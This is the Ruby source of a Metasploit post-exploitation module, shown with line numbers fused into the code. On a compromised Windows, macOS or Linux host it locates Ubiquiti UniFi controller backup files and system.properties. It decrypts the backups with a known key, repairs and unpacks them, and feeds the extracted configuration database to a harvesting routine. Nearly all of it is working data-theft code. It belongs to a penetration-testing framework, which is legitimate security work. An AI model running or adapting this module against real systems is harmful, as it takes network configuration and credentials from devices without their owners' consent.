Path: blob/master/modules/post/multi/gather/ubiquiti_unifi_backup.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Post8include Msf::Post::File9include Msf::Post::Windows::UserProfiles10include Msf::Post::OSX::System11include Msf::Auxiliary::Ubiquiti1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Multi Gather Ubiquiti UniFi Controller Backup',18'Description' => %q{19On an Ubiquiti UniFi controller, reads the system.properties configuration file20and downloads the backup and autobackup files. The files are then decrypted using21a known encryption key, then attempted to be repaired by zip. Meterpreter must be22used due to the large file sizes, which can be flaky on regular shells to read.23Confirmed to work on 5.10.19 - 5.10.23, but most likely quite a bit more.24If the zip can be repaired, the db and its information will be extracted.25},26'License' => MSF_LICENSE,27'Author' => [28'h00die', # metasploit module29'zhangyoufu', # git scripts30'justingist' # git script31],32'Platform' => [ 'linux', 'win', 'osx' ],33'SessionTypes' => %w[meterpreter],34'References' => [35['URL', 'https://github.com/zhangyoufu/unifi-backup-decrypt/'],36['URL', 'https://github.com/justingist/POSH-Ubiquiti/blob/master/Posh-UBNT.psm1'],37['URL', 'https://help.ubnt.com/hc/en-us/articles/205202580-UniFi-system-properties-File-Explanation'],38['URL', 'https://community.ubnt.com/t5/UniFi-Wireless/unf-controller-backup-file-format/td-p/1624105']39],40'Notes' => {41'Stability' => [CRASH_SAFE],42'SideEffects' => [],43'Reliability' => []44}45)46)4748register_options([49OptPath.new('SYSTEMFILE', [false, 'Custom system.properties file location']),50OptPath.new('BACKUPFOLDER', [false, 'Custom backup folder']),51])52end5354def find_save_files(directory)55case session.platform56when 'windows'57files = session.fs.dir.foreach(directory)58else59# when 'linux', 'osx', 'unifi'60# osx will have a space in it by default, so we wrap the directory in quotes61files = cmd_exec("ls '#{directory}'").split(/\r\n|\r|\n/)62end6364files.each do |file|65full = "#{directory}/#{file}"66if directory?(full) && !['.', '..'].include?(file)67find_save_files(full)68next69end7071next unless file.end_with?('.unf')7273f = read_file(full)74if f.nil?75print_error("#{full} read at 0 bytes. Either file is empty or error reading. If this is a shell, you need to upgrade to meterpreter!!!")76next77end7879loot_path = store_loot(80'ubiquiti.unifi.backup', 'application/zip', session,81f, file, 'Ubiquiti Unifi Controller Encrypted Backup Zip'82)83print_good("File #{full} saved to #{loot_path}")84decrypted_data = decrypt_unf(f)85if decrypted_data.nil? || decrypted_data.empty?86print_error("Unable to decrypt #{loot_path}")87next88end89loot_path = store_loot(90'ubiquiti.unifi.backup_decrypted', 'application/zip', session,91decrypted_data, "#{file}.broken.zip", 'Ubiquiti Unifi Controller Decrypted Broken Backup Zip'92)93print_good("File #{file} DECRYPTED and saved to #{loot_path}. File needs to be repair via `zip -FF`")9495# ruby zip can't repair, we can try on command line but its not likely to succeed on all platforms96# tested on kali97repaired = repair_zip(loot_path)98if repaired.nil?99fail_with(Failure::Unknown, "Repair failed on #{loot_path.path}")100end101102loot_path = store_loot(103'ubiquiti.unifi.backup_decrypted_repaired', 'application/zip', session,104repaired, "#{file}.zip", 'Ubiquiti Unifi Controller Backup Zip'105)106print_good("File #{full} DECRYPTED and REPAIRED and saved to #{loot_path}.")107config_db = extract_and_process_db(loot_path)108if config_db.nil?109fail_with(Failure::Unknown, 'Unable to locate db.gz config database file')110end111print_status('Converting BSON to JSON.')112unifi_config_db_json = bson_to_json(config_db)113114if unifi_config_db_json == {}115fail_with(Failure::Unknown, 'Error in file conversion from BSON to JSON.')116end117118unifi_config_eater(session.session_host, session.session_port, unifi_config_db_json)119end120end121122def run123backup_locations = []124sprop_locations = []125126vprint_status('OS Detected: %s' % session.platform)127128case session.platform129when 'windows'130grab_user_profiles.each do |user|131backup_locations << "#{user['ProfileDir']}\\Ubiquiti Unifi\\data\\backup"132sprop_locations << "#{user['ProfileDir']}\\Ubiquiti UniFi\\data\\system.properties"133end134when 'osx'135# https://github.com/rapid7/metasploit-framework/pull/11548#issuecomment-472568795136get_users.each do |user|137backup_locations << "/Users/#{user['name']}/Library/Application Support/UniFi/data/backup"138sprop_locations << "/Users/#{user['name']}/Library/Application Support/Unifi/data/system.properties"139end140else # linux, or a similar device from ubiquiti141# https://help.ubnt.com/hc/en-us/articles/226218448-UniFi-How-to-Configure-Auto-Backup142backup_locations = [143'/data/autobackup', # Cloud key144'/var/lib/unifi/backup', # software install linux145'/mnt/data/unifi/data/backup' # UDM-PRO (possibly UDM as well)146]147148sprop_locations = [149'/var/lib/unifi/system.properties', # default location on 5.10.19 on ubuntu 18.04150'/mnt/data/unifi/data/system.properties' # UDM-Pro (possibly UDM as well)151]152end153154# read system.properties155if datastore['SYSTEMFILE']156datastore['SYSTEMFILE']157vprint_status("Utilizing custom system.properties file location: #{datastore['SYSTEMFILE']}")158end159160print_status('Attempting to read system.properties file to determine backup locations.')161# https://help.ubnt.com/hc/en-us/articles/205202580-UniFi-system-properties-File-Explanation162sprop_locations.each do |sprop|163next unless exists?(sprop)164165begin166data = read_file(sprop)167loot_path = store_loot('ubiquiti.system.properties', 'text/plain', session, data, sprop)168vprint_status("File #{sprop} saved to #{loot_path}")169print_good("Read UniFi Controller file #{sprop}")170rescue Rex::Post::Meterpreter::RequestError171print_error("Failed to read #{sprop}")172data = ''173end174data.each_line do |line|175if !(line.chomp.empty? || line =~ /^#/) && /^autobackup\.dir\s*=\s*(?<d>.+)$/ =~ line176backup_locations.append(d.strip)177vprint_status("Custom autobackup directory identified: #{d.strip}")178end179end180end181182print_status('Attempting to locate and read backup files.')183backup_locations.each do |bl|184if !directory?(bl)185vprint_error("Directory doesn't exist: #{bl}")186next187end188189vprint_good("Found backup folder: #{bl}")190find_save_files(bl)191end192end193end194195196